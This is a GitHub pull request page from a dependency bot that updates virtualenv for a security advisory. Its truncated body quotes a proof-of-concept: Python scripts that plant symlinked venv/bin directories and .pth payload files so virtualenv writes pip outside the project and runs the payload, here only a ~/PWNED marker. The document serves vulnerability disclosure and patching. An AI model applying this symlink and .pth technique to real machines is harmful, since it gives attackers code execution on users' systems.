    print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
    print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
    print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")

    # later, in another folder, the user runs pip
    pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
    print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
    print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
    return written, payload_marker.exists() and not payload_ran_at_creation

print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")

print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)

##### python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")

##### check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
print("---")
print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")

repro.d/checkout_with_bin_link.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

##### one per minor version: the attacker does not know which Python the user has
for minor in range(9, 20):
    site_packages = venv / f"lib/python3.{minor}/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")

##### relative to a checkout at ~/project
(venv / "bin").symlink_to("../../.local/bin")

repro.d/checkout_with_bin_link_staying_inside.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

site_packages = venv / "lib/py/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
for minor in range(9, 20):
    (venv / f"lib/python3.{minor}").symlink_to("py")

##### pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")

##### six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
(venv / "1/.local/bin").mkdir(parents=True)
(venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
Impact

Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation
output; arbitrary attacker-selected file contents are not established.

Severity: medium. CVSS 4.5, `CVSS:3.1/AV:L/A

[!IMPORTANT]
✂ PR body was truncated to here.

@renovate

renovate Bot commented Jan 14, 2025

Copy link
Copy Markdown
Contributor Author

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@renovate
renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch from 37b920b to 4e30633 Compare January 13, 2026 20:43
@renovate renovate Bot changed the title chore(deps): update dependency virtualenv to v20.26.6 [security] chore(deps): update dependency virtualenv to v20.36.1 [security] Jan 13, 2026
@renovate renovate Bot changed the title chore(deps): update dependency virtualenv to v20.36.1 [security] chore(deps): update dependency virtualenv to v20.36.1 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/pypi-virtualenv-vulnerability branch March 27, 2026 00:51
@renovate renovate Bot changed the title chore(deps): update dependency virtualenv to v20.36.1 [security] - autoclosed chore(deps): update dependency virtualenv to v20.36.1 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch 2 times, most recently from 4e30633 to 9807e7c Compare March 30, 2026 21:18
@renovate renovate Bot changed the title chore(deps): update dependency virtualenv to v20.36.1 [security] chore(deps): update dependency virtualenv to v20.36.1 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency virtualenv to v20.36.1 [security] - autoclosed chore(deps): update dependency virtualenv to v20.36.1 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch 2 times, most recently from 9807e7c to 0072927 Compare April 27, 2026 21:10
@renovate
renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch from 0072927 to d70104c Compare October 7, 2026 00:30
@renovate renovate Bot changed the title chore(deps): update dependency virtualenv to v20.36.1 [security] chore(deps): update dependency virtualenv to v21 [security] Oct 7, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch from d70104c to 75e4e3a Compare October 8, 2026 21:54
@renovate
renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch from 75e4e3a to ea0b307 Compare October 25, 2026 00:43
@renovate
renovate Bot force-pushed the renovate/pypi-virtualenv-vulnerability branch from ea0b307 to d7a7b6a Compare October 25, 2026 17:24
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants